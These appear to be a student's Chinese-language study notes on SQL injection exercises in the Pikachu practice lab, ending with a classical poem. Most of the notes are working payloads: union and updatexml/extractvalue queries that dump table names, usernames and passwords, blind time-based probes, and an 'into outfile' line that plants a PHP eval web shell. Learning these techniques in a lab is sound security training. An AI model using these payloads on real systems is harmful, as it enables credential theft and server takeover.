小知识 shell 中文名:壳 性质:命令解析器 用途:接收用户命令,然后调用相应的程序,为使用者提供操作页面的软件 |
1.数字型注入(post)
*burp抓包
*选中抓到的发送到Repeater
*然后更改id变成1 or 1
*再点send,
*最后来到Render
*就可以看到结果了
2.字符型注入(get)
构成合法闭合,由于是字符,所以是单引号,将前后的单引号都注释掉
**********复习复习**************** php注释 行注释 // # 块注释 /* */ |
直接输入kobe' or 1=1#就行
3.搜索型注入
select from 表名 where username like ' %k% ';
666%'or 1=1 #
把前面的构成闭合,后面都注释掉就欧克
数字 什么都没有 字符 会有单引号' ' 搜索型 单引号和% '% %' |
4.xx型注入
输入 ') or 1=1#
把括号闭合一下
源码
where username =('$name')
5.insert/update注入
手工查询
a’ order by 5#
查列数
如果大于,就会报错,正好等于的话就返回原来的页面
union联合查询:可以通过联合查询来查询指定的数据
(联合查询的字段数需要和主查询一致!)
a' union select database(),uesr()# 数据库名称,用户权限
a' union select version(),4# 版本
information_ schema
~1~{ kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'# } --------查询有多少表
~2~ 在上面的表中猜测密码在那个表里,查询该表中有什么,这里猜测密码放在users中
{kobe' union select table_name,column_name from information_schema.columns where table_name='users'# }
~3~ 把密码找出来
{ kobe' union select username,password from users# }
先猜测多少列,要先知道多少列才能根据那个数进行下一步的查询,再找那个数据库名称,再找到有多少表,查看表有哪些,表名称,再找用户名和密码。
mysql> select table_schema,table_name,engine from information_schema.tables where
------------------------------------------------------
Updatexm()函数作用: 改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml document, XPathstring, new_value)
第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的数据。
0x7e的ascll解码后是符号 ~ ,concat是用来连接字符串。
updatexml() 函数:该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式要求,则会报错并带出查询的结果。
报错只能显示一行,用limit一次一次获取表名。
如果想要得到第二个表的名称,就把0改成1,limit 1,1 以此类推。
{ kobe' and updatexml(1,concat(0x7e,database()),0)# }--------获取数据名
{ kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)# } --------获取表名
( kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)# }------获取列名
{ kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)# }---
---获取用户名
{ kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)# } ------------根据用户名获取密码
获取MD5加密的密文,解密获取明文密码。
---------------------------------------------------------
insert语句
insert into payment set firstname=' 这里是我们填写First Name的位置 ',lastname = 'aaa';
a' or 此处填写我们想执行的语句 or '
' or updatexml(1,concat(0x7e,database()),0) or '
a' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='website' limit 0,1)),0) or '
a' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 9,1)),0) or '
a' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or '
a' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '
6.delete注入
抓包,发送到Repeater,
修改id,1 or updatexml(1, concat(0x7e, database()), 0)
,然后convert selection ->url ->
--------------------------------
extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)
第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)
kobe' and extractvalue(0,concat(0x7e,version()))#
7.http header 注入
HTTP 协议是 Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网( WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。
抓包,发送到repeater
firefox' or updatexml(1,concat(0x7e,database()),0) or ' 把这个输入到agent后面
8.盲注
后台屏蔽了报错,无法根据报错来进行判断
1.(base on boolian)输入and 1= 1/and 1= 2发现可以判断,先判断一下
这个使用
kobe' and ascii(substr(database(),1,1))>113#
2.(base on time)
kobe' and sleep(5)#
虽然返回的都一样,但是可以通过响应的时间来判断一下是不是有区别
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
时间停止了5秒,则说明第一个字符是p。如果时间不停止,则说明不是p。
这些什么好多种不同的方法
---------------------------------------------
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
获取操作系统权限
kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/val/www/html/1.php"#
------------------------------------------------------
这个带点暴力破解的感觉
kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#
打开burp抓包,发送到intrudder
clear之后选中aa,进行替换。
9.宽字节注入
kobe%df' union select database(),2#
{写在结尾没用的话:
这是今天形式与政策老师说的一首诗是山西人创作的山西人不仅是会挖煤,也是浪漫的人哦是俩只燕子的爱情故事
乙丑岁赴试并州,道逢捕雁者云:“今旦获一雁,杀之矣。其脱网者悲鸣不能去,竟自投于地而死。”予因买得之,葬之汾水之上,垒石为识,号曰“雁丘”。同行者多为赋诗,予亦有《雁丘词》。旧所作无宫商,今改定之。
问世间,情是何物,直教生死相许?天南地北双飞客,老翅几回寒暑。欢乐趣,离别苦,就中更有痴儿女。君应有语:渺万里层云,千山暮雪,只影向谁去?
横汾路,寂寞当年箫鼓,荒烟依旧平楚。招魂楚些何嗟及,山鬼暗啼风雨。天也妒,未信与,莺儿燕子俱黄土。千秋万古,为留待骚人,狂歌痛饮,来访雁丘处。
}